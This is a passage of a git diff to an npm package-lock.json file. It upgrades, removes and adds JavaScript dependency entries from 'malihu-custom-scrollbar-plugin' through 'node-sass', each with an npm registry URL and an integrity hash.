"sha512-hdN1wVrZbb29eBGiGjJbeP8JbKjq1urkHJ/LIP/NY48MZ1QVXUsQBV1G1zvYFHn1XE06cwjBsOI2K3Ulnj1YXQ==", - "dev": true, - "optional": true, - "peer": true + "malihu-custom-scrollbar-plugin": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/malihu-custom-scrollbar-plugin/-/malihu-custom-scrollbar-plugin-3.1.5.tgz", + "integrity": "sha512-lwW3LgI+CNDMPnP4ED2la6oYxWMkCXlnhex+s2wuOLhFDFGnGmQuTQVdRK9bvDLpxs10sGlfErVufJy9ztfgJQ==", + "requires": { + "jquery-mousewheel": ">=3.0.6" + } + }, + "math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==" }, "md5.js": { "version": "1.3.5", @@ -28408,16 +24115,11 @@ } }, "mdn-data": { - "version": "2.0.14", - "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.14.tgz", - "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==", + "version": "2.0.30", + "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.30.tgz", + "integrity": "sha512-GaqWWShW4kv/G9IEucWScBx9G1/vsFZZJUO+tD26M8J8z3Kw5RDQjaoZe03YAClgeS/SWPOcb4nkFBTEi5DUEA==", "dev": true }, - "media-typer": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", - "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==" - }, "memdown": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/memdown/-/memdown-1.4.1.tgz", @@ -28441,91 +24143,12 @@ } } }, - "meow": { - "version": "9.0.0", - "resolved": "https://registry.npmjs.org/meow/-/meow-9.0.0.tgz", - "integrity": "sha512-+obSblOQmRhcyBt62furQqRAQpNyWXo8BuQ5bN7dG8wmwQ+vwHKp/rCFD4CrTP8CsDQD1sjoZ94K417XEUk8IQ==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "@types/minimist": "^1.2.0", - "camelcase-keys": "^6.2.2", - "decamelize": "^1.2.0", - "decamelize-keys": "^1.1.0", - "hard-rejection": "^2.1.0", - "minimist-options": "4.1.0", - "normalize-package-data": "^3.0.0", - "read-pkg-up": "^7.0.1", - "redent": "^3.0.0", - "trim-newlines": "^3.0.0", - "type-fest": "^0.18.0", - "yargs-parser": "^20.2.3" - }, - "dependencies": { - "hosted-git-info": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.0.2.tgz", - "integrity": "sha512-c9OGXbZ3guC/xOlCg1Ci/VgWlwsqDv1yMQL1CWqXDL0hDjXuNcq0zuR4xqPSuasI3kqFDhqSyTjREz5gzq0fXg==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "lru-cache": "^6.0.0" - } - }, - "normalize-package-data": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-3.0.3.tgz", - "integrity": "sha512-p2W1sgqij3zMMyRC067Dg16bfzVH+w7hyegmpIvZ4JNjqtGOVAIvLmjBx3yP7YTe9vKJgkoNOPjwQGogDoMXFA==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "hosted-git-info": "^4.0.1", - "is-core-module": "^2.5.0", - "semver": "^7.3.4", - "validate-npm-package-license": "^3.0.1" - } - }, - "semver": { - "version": "7.3.5", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", - "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "lru-cache": "^6.0.0" - } - }, - "type-fest": { - "version": "0.18.1", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.18.1.tgz", - "integrity": "sha512-OIAYXk8+ISY+qTOwkHtKqzAuxchoMiD9Udx+FSGQDuiRR+PJKJHc2NJAXlbhkGwTt/4/nKZxELY1w3ReWOL8mw==", - "dev": true, - "optional": true, - "peer": true - } - } - }, - "merge-descriptors": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", - "integrity": "sha512-cCi6g3/Zr1iqQi6ySbseM1Xvooa98N0w31jzUYrXPX2xqObmFGHJ0tQ5u74H3mVh7wLouTseZyYIq39g8cNp1w==" - }, "merge-stream": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", "dev": true }, - "merge2": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", - "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", - "dev": true - }, "merkle-patricia-tree": { "version": "2.3.2", "resolved": "https://registry.npmjs.org/merkle-patricia-tree/-/merkle-patricia-tree-2.3.2.tgz", @@ -28589,19 +24212,14 @@ } } }, - "methods": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", - "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==" - }, "micromatch": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", - "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", + "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", "dev": true, "requires": { - "braces": "^3.0.1", - "picomatch": "^2.2.3" + "braces": "^3.0.3", + "picomatch": "^2.3.1" } }, "miller-rabin": { @@ -28620,11 +24238,6 @@ } } }, - "mime": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", - "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==" - }, "mime-db": { "version": "1.52.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", @@ -28644,11 +24257,6 @@ "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", "dev": true }, - "mimic-response": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz", - "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==" - }, "min-document": { "version": "2.19.0", "resolved": "https://registry.npmjs.org/min-document/-/min-document-2.19.0.tgz", @@ -28657,62 +24265,14 @@ "dom-walk": "^0.1.0" } }, - "min-indent": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz", - "integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==", - "dev": true, - "optional": true, - "peer": true - }, "mini-css-extract-plugin": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/mini-css-extract-plugin/-/mini-css-extract-plugin-2.6.1.tgz", - "integrity": "sha512-wd+SD57/K6DiV7jIR34P+s3uckTRuQvx0tKPcvjFlrEylk6P4mQ2KSWk1hblj1Kxaqok7LogKOieygXqBczNlg==", + "version": "2.9.2", + "resolved": "https://registry.npmjs.org/mini-css-extract-plugin/-/mini-css-extract-plugin-2.9.2.tgz", + "integrity": "sha512-GJuACcS//jtq4kCtd5ii/M0SZf7OZRH+BxdqXZHaJfb8TJiVl+NgQRPwiYt2EuqeSkNydn/7vP+bcE27C5mb9w==", "dev": true, "requires": { - "schema-utils": "^4.0.0" - }, - "dependencies": { - "ajv": { - "version": "8.10.0", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.10.0.tgz", - "integrity": "sha512-bzqAEZOjkrUMl2afH8dknrq5KEk2SrwdBROR+vH1EKVQTqaUbJVPdc/gEdggTMM0Se+s+Ja4ju4TlNcStKl2Hw==", - "dev": true, - "requires": { - "fast-deep-equal": "^3.1.1", - "json-schema-traverse": "^1.0.0", - "require-from-string": "^2.0.2", - "uri-js": "^4.2.2" - } - }, - "ajv-keywords": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", - "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", - "dev": true, - "requires": { - "fast-deep-equal": "^3.1.3" - } - }, - "json-schema-traverse": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", - "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", - "dev": true - }, - "schema-utils": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz", - "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==", - "dev": true, - "requires": { - "@types/json-schema": "^7.0.9", - "ajv": "^8.8.0", - "ajv-formats": "^2.1.1", - "ajv-keywords": "^5.0.0" - } - } + "schema-utils": "^4.0.0", + "tapable": "^2.2.1" } }, "minimalistic-assert": { @@ -28726,191 +24286,42 @@ "integrity": "sha1-9sAMHAsIIkblxNmd+4x8CDsrWCo=" }, "minimatch": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", - "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", - "dev": true, - "requires": { - "brace-expansion": "^1.1.7" - } - }, - "minimist": { - "version": "1.2.6", - "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.6.tgz", - "integrity": "sha512-Jsjnk4bw3YJqYzbdyBiNsPWHPfO++UGG749Cxs6peCu5Xg4nrena6OVxOYxrQTqww0Jmwt+Ref8rggumkTLz9Q==" - }, - "minimist-options": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/minimist-options/-/minimist-options-4.1.0.tgz", - "integrity": "sha512-Q4r8ghd80yhO/0j1O3B2BjweX3fiHg9cdOwjJd2J76Q135c+NDxGCqdYKQ1SKBuFfgWbAUzBfvYjPUEeNgqN1A==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "arrify": "^1.0.1", - "is-plain-obj": "^1.1.0", - "kind-of": "^6.0.3" - } - }, - "minipass": { - "version": "3.1.5", - "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.1.5.tgz", - "integrity": "sha512-+8NzxD82XQoNKNrl1d/FSi+X8wAEWR+sbYAfIvub4Nz0d22plFG72CEVVaufV8PNf4qSslFTD8VMOxNVhHCjTw==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "yallist": "^4.0.0" - } - }, - "minipass-collect": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/minipass-collect/-/minipass-collect-1.0.2.tgz", - "integrity": "sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "minipass": "^3.0.0" - } - }, - "minipass-fetch": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/minipass-fetch/-/minipass-fetch-1.4.1.tgz", - "integrity": "sha512-CGH1eblLq26Y15+Azk7ey4xh0J/XfJfrCox5LDJiKqI2Q2iwOLOKrlmIaODiSQS8d18jalF6y2K2ePUm0CmShw==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "encoding": "^0.1.12", - "minipass": "^3.1.0", - "minipass-sized": "^1.0.3", - "minizlib": "^2.0.0" - } - }, - "minipass-flush": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/minipass-flush/-/minipass-flush-1.0.5.tgz", - "integrity": "sha512-JmQSYYpPUqX5Jyn1mXaRwOda1uQ8HP5KAT/oDSLCzt1BYRhQU0/hDtsB1ufZfEEzMZ9aAVmsBw8+FWsIXlClWw==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "minipass": "^3.0.0" - } - }, - "minipass-pipeline": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/minipass-pipeline/-/minipass-pipeline-1.2.4.tgz", - "integrity": "sha512-xuIq7cIOt09RPRJ19gdi4b+RiNvDFYe5JH+ggNvBqGqpQXcru3PcRmOZuHBKWK1Txf9+cQ+HMVN4d6z46LZP7A==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "minipass": "^3.0.0" - } - }, - "minipass-sized": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/minipass-sized/-/minipass-sized-1.0.3.tgz", - "integrity": "sha512-MbkQQ2CTiBMlA2Dm/5cY+9SWFEN8pzzOXi6rlM5Xxq0Yqbda5ZQy9sU75a673FE9ZK0Zsbr6Y5iP6u9nktfg2g==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "minipass": "^3.0.0" - } - }, - "minizlib": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz", - "integrity": "sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "minipass": "^3.0.0", - "yallist": "^4.0.0" - } - }, - "mkdirp": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", - "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==" - }, - "mkdirp-promise": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/mkdirp-promise/-/mkdirp-promise-5.0.1.tgz", - "integrity": "sha512-Hepn5kb1lJPtVW84RFT40YG1OddBNTOVUZR2bzQUHc+Z03en8/3uX0+060JDhcEzyO08HmipsN9DcnFMxhIL9w==", - "requires": { - "mkdirp": "*" - } - }, - "mock-fs": { - "version": "4.14.0", - "resolved": "https://registry.npmjs.org/mock-fs/-/mock-fs-4.14.0.tgz", - "integrity": "sha512-qYvlv/exQ4+svI3UOvPUpLDF0OMX5euvUH0Ny4N5QyRyhNdgAgUrVH3iUINSzEPLvx0kbo/Bp28GJKIqvE7URw==" - }, - "moment": { - "version": "2.29.4", - "resolved": "https://registry.npmjs.org/moment/-/moment-2.29.4.tgz", - "integrity": "sha512-5LC9SOxjSc2HF6vO2CyuTDNivEdoz2IvyJJGj6X8DJ0eFyfszE0QiEd+iXmBvUP3WHxSjFH/vIsA0EN00cgr8w==" - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" - }, - "multibase": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/multibase/-/multibase-0.6.1.tgz", - "integrity": "sha512-pFfAwyTjbbQgNc3G7D48JkJxWtoJoBMaR4xQUOuB8RnCgRqaYmWNFeJTTvrJ2w51bjLq2zTby6Rqj9TQ9elSUw==", + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, "requires": { - "base-x": "^3.0.8", - "buffer": "^5.5.0" + "brace-expansion": "^1.1.7" } }, - "multicodec": { - "version": "0.5.7", - "resolved": "https://registry.npmjs.org/multicodec/-/multicodec-0.5.7.tgz", - "integrity": "sha512-PscoRxm3f+88fAtELwUnZxGDkduE2HD9Q6GHUOywQLjOGT/HAdhjLDYNZ1e7VR0s0TP0EwZ16LNUTFpoBGivOA==", - "requires": { - "varint": "^5.0.0" - } + "minimist": { + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.6.tgz", + "integrity": "sha512-Jsjnk4bw3YJqYzbdyBiNsPWHPfO++UGG749Cxs6peCu5Xg4nrena6OVxOYxrQTqww0Jmwt+Ref8rggumkTLz9Q==", + "dev": true + }, + "mitt": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/mitt/-/mitt-3.0.1.tgz", + "integrity": "sha512-vKivATfr97l2/QBCYAkXYDbrIWPM2IIKEl7YPhjCvKlG3kE2gm+uBo6nEXK3M5/Ffh/FLpKExzOQ3JJoJGFKBw==" }, - "multihashes": { - "version": "0.4.21", - "resolved": "https://registry.npmjs.org/multihashes/-/multihashes-0.4.21.tgz", - "integrity": "sha512-uVSvmeCWf36pU2nB4/1kzYZjsXD9vofZKpgudqkceYY5g2aZZXJ5r9lxuzoRLl1OAp28XljXsEJ/X/85ZsKmKw==", + "mixpanel-browser": { + "version": "2.67.0", + "resolved": "https://registry.npmjs.org/mixpanel-browser/-/mixpanel-browser-2.67.0.tgz", + "integrity": "sha512-LudY4eRIkvjEpAlIAg10i2T2mbtiKZ4XlMGbTyF1kcAhEqMa9JhEEdEcjxYPwiKhuMVSBM3RVkNCZaNqcnE4ww==", "requires": { - "buffer": "^5.5.0", - "multibase": "^0.7.0", - "varint": "^5.0.0" - }, - "dependencies": { - "multibase": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/multibase/-/multibase-0.7.0.tgz", - "integrity": "sha512-TW8q03O0f6PNFTQDvh3xxH03c8CjGaaYrjkl9UQPG6rz53TQzzxJVCIWVjzcbN/Q5Y53Zd0IBQBMVktVgNx4Fg==", - "requires": { - "base-x": "^3.0.8", - "buffer": "^5.5.0" - } - } + "rrweb": "2.0.0-alpha.18" } }, - "nan": { - "version": "2.15.0", - "resolved": "https://registry.npmjs.org/nan/-/nan-2.15.0.tgz", - "integrity": "sha512-8ZtvEnA2c5aYCZYd1cvgdnU6cqwixRoYg70xPLWUws5ORTa/lnw+u4amixRS/Ac5U5mQVgp9pnlSUnbNWFaWZQ==", - "dev": true, - "optional": true, - "peer": true + "moment": { + "version": "2.30.1", + "resolved": "https://registry.npmjs.org/moment/-/moment-2.30.1.tgz", + "integrity": "sha512-uEmtNhbDOrWPFS+hdjFCBfy9f2YoyzRpwcl+DqpC6taX21FzsTLQVbMV/W7PzNSX6x/bhC1zA3c2UQ5NzH6how==" }, - "nano-json-stream-parser": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/nano-json-stream-parser/-/nano-json-stream-parser-0.1.2.tgz", - "integrity": "sha512-9MqxMH/BSJC7dnLsEMPyfN5Dvoo49IsPFYMcHw3Bcfc2kN0lpHRBSzlMSVx4HGyJ7s9B31CyBTVehWJoQ8Ctew==" + "ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" }, "nanoassert": { "version": "1.1.0", @@ -28918,10 +24329,9 @@ "integrity": "sha1-TzFS4JVA/eKMdvRLGbvNHVpCR40=" }, "nanoid": { - "version": "3.3.4", - "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.4.tgz", - "integrity": "sha512-MqBkQh/OHTS2egovRtLk45wEyNXwF+cokD+1YPf9u5VfJiRdAiRwB2froX5Co9Rh20xs4siNPm8naNotSD6RBw==", - "dev": true + "version": "3.3.11", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", + "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==" }, "nanomorph": { "version": "5.4.3", @@ -28937,31 +24347,21 @@ "integrity": "sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=", "dev": true }, - "negotiator": { - "version": "0.6.3", - "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", - "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==" - }, "neo-async": { "version": "2.6.2", "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==", "dev": true }, - "next-tick": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.1.0.tgz", - "integrity": "sha512-CXdUiJembsNjuToQvxayPZF9Vqht7hewsvy2sOWafLvi2awflj9mOC6bHIg50orX8IJvWKY9wYQ/zB2kogPslQ==" - }, "node-addon-api": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-2.0.2.tgz", "integrity": "sha512-Ntyt4AIXyaLIuMHF6IOoTakB3K+RWxwtsHNRxllEoA6vPwP9o4866g6YWDLUdnucilZhmkxiHwHr11gAENw+QA==" }, "node-fetch": { - "version": "2.6.7", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.7.tgz", - "integrity": "sha512-ZjMPFEfVx5j+y2yF35Kzx5sF7kDzxuDj6ziH4FFbOp87zKDZNx8yExJIb05OGF4Nlt9IHFIMBkRl41VdvcNdbQ==", + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", + "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", "requires": { "whatwg-url": "^5.0.0" }, @@ -28987,72 +24387,6 @@ } } }, - "node-gyp": { - "version": "8.4.1", - "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-8.4.1.tgz", - "integrity": "sha512-olTJRgUtAb/hOXG0E93wZDs5YiJlgbXxTwQAFHyNlRsXQnYzUaF2aGgujZbw+hR8aF4ZG/rST57bWMWD16jr9w==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "env-paths": "^2.2.0", - "glob": "^7.1.4", - "graceful-fs": "^4.2.6", - "make-fetch-happen": "^9.1.0", - "nopt": "^5.0.0", - "npmlog": "^6.0.0", - "rimraf": "^3.0.2", - "semver": "^7.3.5", - "tar": "^6.1.2", - "which": "^2.0.2" - }, - "dependencies": { - "gauge": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/gauge/-/gauge-4.0.0.tgz", - "integrity": "sha512-F8sU45yQpjQjxKkm1UOAhf0U/O0aFt//Fl7hsrNVto+patMHjs7dPI9mFOGUKbhrgKm0S3EjW3scMFuQmWSROw==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "ansi-regex": "^5.0.1", - "aproba": "^1.0.3 || ^2.0.0", - "color-support": "^1.1.2", - "console-control-strings": "^1.0.0", - "has-unicode": "^2.0.1", - "signal-exit": "^3.0.0", - "string-width": "^4.2.3", - "strip-ansi": "^6.0.1", - "wide-align": "^1.1.2" - } - }, - "npmlog": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-6.0.0.tgz", - "integrity": "sha512-03ppFRGlsyUaQFbGC2C8QWJN/C/K7PsfyD9aQdhVKAQIH4sQBc8WASqFBP7O+Ut4d2oo5LoeoboB3cGdBZSp6Q==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "are-we-there-yet": "^2.0.0", - "console-control-strings": "^1.1.0", - "gauge": "^4.0.0", - "set-blocking": "^2.0.0" - } - }, - "semver": { - "version": "7.3.5", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", - "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "lru-cache": "^6.0.0" - } - } - } - }, "node-gyp-build": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/node-gyp-build/-/node-gyp-build-4.3.0.tgz", @@ -29065,132 +24399,9 @@ "dev": true }, "node-releases": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.6.tgz", - "integrity": "sha512-PiVXnNuFm5+iYkLBNeq5211hvO38y63T0i2KKh2KnUs3RpzJ+JtODFjkD8yjLwnDkTYF1eKXheUwdssR+NRZdg==" - }, - "node-sass": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/node-sass/-/node-sass-7.0.1.tgz", - "integrity": "sha512-uMy+Xt29NlqKCFdFRZyXKOTqGt+QaKHexv9STj2WeLottnlqZEEWx6Bj0MXNthmFRRdM/YwyNo/8Tr46TOM0jQ==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "async-foreach": "^0.1.3", - "chalk": "^4.1.2", - "cross-spawn": "^7.0.3", - "gaze": "^1.0.0", - "get-stdin": "^4.0.1", - "glob": "^7.0.3", - "lodash": "^4.17.15", - "meow": "^9.0.0", - "nan": "^2.13.2", - "node-gyp": "^8.4.1", - "npmlog": "^5.0.0", - "request": "^2.88.0", - "sass-graph": "4.0.0", - "stdout-stream": "^1.4.0", - "true-case-path": "^1.0.2" - }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true, - "optional": true, - "peer": true - }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true, - "optional": true, - "peer": true - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "has-flag": 